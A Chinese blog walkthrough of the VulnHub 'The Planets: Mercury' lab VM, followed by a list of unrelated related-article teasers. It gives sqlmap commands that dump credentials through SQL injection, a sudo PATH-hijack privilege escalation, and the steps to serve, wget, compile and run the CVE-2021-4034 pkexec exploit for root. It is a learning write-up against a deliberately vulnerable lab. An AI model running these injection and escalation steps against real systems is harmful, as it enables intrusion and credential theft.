Vulnhub项目:THE PLANETS: MERCURY

2024-06-03 22:36
文章标签 项目 vulnhub mercury planets

本文主要是介绍Vulnhub项目:THE PLANETS: MERCURY,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、靶场地址

The Planets: Mercury ~ VulnHubThe Planets: Mercury, made by SirFlash. Download & walkthrough links are available.icon-default.png?t=N7T8https://vulnhub.com/entry/the-planets-mercury,544/

这好像是个系列的,关于星球系列,之前还做过一个地球的,有兴趣的可以看看!Vulnhub项目:Earth_vulnhub earth-CSDN博客文章浏览阅读714次。Vulnhub项目:Earth_vulnhub earthhttps://blog.csdn.net/weixin_43938645/article/details/130265310?spm=1001.2014.3001.5501

2、渗透过程

搞起!确认目标 56.165,本机 56.160,nmap 探测开放端口。

开放 22 和 8080 端口,访问 8080,没啥东西,那就扫个目录看看 

只有个 robots.txt 

访问一下,啥都没有 

尝试 index.html,发现了报错提醒,有个新的路径。

 访问新路径后发现了一张图和两个链接,随便点一点观察一下。

访问 load a fact 后发现这块的 id 有东西 。

 

经过几次尝试发现这块应该有 sql 注入 。

打个单引号,果然,如下图所示

 sqlmap 启动,具体命令如下,基础操作! 

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 --dbs --batch

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury --tables --batch
sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury -T users --columns --batch

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury -T users -C username,password --dump --batch

发现用户名和密码。用这些用户名和密码去尝试 ssh,也可以用 hydra 去爆破 ssh。 

经过测试发现只有最后一个可以登上。

进入后,首先发现了 user_flag,还发现了个文件夹,里面有提示 

这两个怎么看怎么像个用户名和密码,只不过密码是base64 加密了

那就解密下下面的用户,很好,出来了,下面去连接这个 linuxmaster 用户,当然也可以之间在 webmaster 用户那 su 一下 

找了一下,没啥东西,那就提权一下。这里有两种方式提权,首先介绍第一种,利用 sudo -l,进行环境变量提权。可以看看这个 sh 文件是怎么写的。

他这是用 tail 命令去做了个操作,那可以自己做一个 tail 二进制程序,然后把它的环境变量设置一下,应用新的环境变量,用这个环境变量下的 tail 去执行这个 sh 文件。 

echo "/bin/bash" > tail

chmod 777 tail

export PATH=.:$PATH

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

啪的一下,肉特root了,获取了 root_flag。就很舒服!  

下面是第二种方式,利用 suid 去提权。输入下面的命令去找具有 suid 的文件。 

find / -perm -4000 -type f 2>/dev/null

好巧不巧,发现了个这个,我以前文章有对这个 cve 进行分析CVE-2021-4034漏洞原理解析-CSDN博客文章浏览阅读8k次,点赞5次,收藏14次。本篇文章主要分析了CVE-2021-4034漏洞,同时介绍了相关知识点以及使用方法,漏洞复现在前渗透测试(七)中体现,记录自己学习过程。_cve-2021-4034https://blog.csdn.net/weixin_43938645/article/details/127924107 下载,打包,开启 web 服务,让靶机把这个 cve 下载到靶机上,然后解压一下。

GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

git clone到本地打包

tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034

python3 -m http.server 8099

靶机linuxmaster   wget一下,解压,tar -xvf CVE-2021-4034.tar.gz

 

那下面就简单多了!!! 

进到这个文件夹下,make 一下 

生成了 cve-2021-4034,之间运行就可返回 root,提权成功!!!! 

这个 cve 用户还是挺广的,后面还有个类似的靶机,也是用这个 cve,当然还有其他的方式,正在做其他的方式提权,缓冲区溢出,搞起!

这个靶机算是用两种方式拿下了,希望各位看官继续关注后续文章,哈哈哈,请点赞!!哈哈!!

3、思路总结

接下来总结下思路,从 web 开始思路基本上差不多,用 sql 注入当做切入点,获取用户名和密码,然后进行 ssh 连接,进入系统后,去发现相关文件。进一步深入提权,两种方式,说不定还有更多方式,可以多尝试尝试,没事,靶机么,随便搞,又打不坏,大不了重装!!!

坚持每天能做两台,更新两篇文章,朴实无华的一天就这么度过了,还有不到一个月就得撤了,有点舍不得呢xd!!!!

这篇关于Vulnhub项目:THE PLANETS: MERCURY的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1028304

相关文章

部署Vue项目到服务器后404错误的原因及解决方案

《部署Vue项目到服务器后404错误的原因及解决方案》文章介绍了Vue项目部署步骤以及404错误的解决方案,部署步骤包括构建项目、上传文件、配置Web服务器、重启Nginx和访问域名,404错误通常是... 目录一、vue项目部署步骤二、404错误原因及解决方案错误场景原因分析解决方案一、Vue项目部署步骤

golang内存对齐的项目实践

《golang内存对齐的项目实践》本文主要介绍了golang内存对齐的项目实践,内存对齐不仅有助于提高内存访问效率,还确保了与硬件接口的兼容性,是Go语言编程中不可忽视的重要优化手段,下面就来介绍一下... 目录一、结构体中的字段顺序与内存对齐二、内存对齐的原理与规则三、调整结构体字段顺序优化内存对齐四、内

配置springboot项目动静分离打包分离lib方式

《配置springboot项目动静分离打包分离lib方式》本文介绍了如何将SpringBoot工程中的静态资源和配置文件分离出来,以减少jar包大小,方便修改配置文件,通过在jar包同级目录创建co... 目录前言1、分离配置文件原理2、pom文件配置3、使用package命令打包4、总结前言默认情况下,

python实现简易SSL的项目实践

《python实现简易SSL的项目实践》本文主要介绍了python实现简易SSL的项目实践,包括CA.py、server.py和client.py三个模块,文中通过示例代码介绍的非常详细,对大家的学习... 目录运行环境运行前准备程序实现与流程说明运行截图代码CA.pyclient.pyserver.py参

IDEA运行spring项目时,控制台未出现的解决方案

《IDEA运行spring项目时,控制台未出现的解决方案》文章总结了在使用IDEA运行代码时,控制台未出现的问题和解决方案,问题可能是由于点击图标或重启IDEA后控制台仍未显示,解决方案提供了解决方法... 目录问题分析解决方案总结问题js使用IDEA,点击运行按钮,运行结束,但控制台未出现http://

解决IDEA使用springBoot创建项目,lombok标注实体类后编译无报错,但是运行时报错问题

《解决IDEA使用springBoot创建项目,lombok标注实体类后编译无报错,但是运行时报错问题》文章详细描述了在使用lombok的@Data注解标注实体类时遇到编译无误但运行时报错的问题,分析... 目录问题分析问题解决方案步骤一步骤二步骤三总结问题使用lombok注解@Data标注实体类,编译时

C语言小项目实战之通讯录功能

《C语言小项目实战之通讯录功能》:本文主要介绍如何设计和实现一个简单的通讯录管理系统,包括联系人信息的存储、增加、删除、查找、修改和排序等功能,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录功能介绍:添加联系人模块显示联系人模块删除联系人模块查找联系人模块修改联系人模块排序联系人模块源代码如下

SpringBoot项目中Maven剔除无用Jar引用的最佳实践

《SpringBoot项目中Maven剔除无用Jar引用的最佳实践》在SpringBoot项目开发中,Maven是最常用的构建工具之一,通过Maven,我们可以轻松地管理项目所需的依赖,而,... 目录1、引言2、Maven 依赖管理的基础概念2.1 什么是 Maven 依赖2.2 Maven 的依赖传递机

Vue项目中Element UI组件未注册的问题原因及解决方法

《Vue项目中ElementUI组件未注册的问题原因及解决方法》在Vue项目中使用ElementUI组件库时,开发者可能会遇到一些常见问题,例如组件未正确注册导致的警告或错误,本文将详细探讨这些问题... 目录引言一、问题背景1.1 错误信息分析1.2 问题原因二、解决方法2.1 全局引入 Element

Python 中 requests 与 aiohttp 在实际项目中的选择策略详解

《Python中requests与aiohttp在实际项目中的选择策略详解》本文主要介绍了Python爬虫开发中常用的两个库requests和aiohttp的使用方法及其区别,通过实际项目案... 目录一、requests 库二、aiohttp 库三、requests 和 aiohttp 的比较四、requ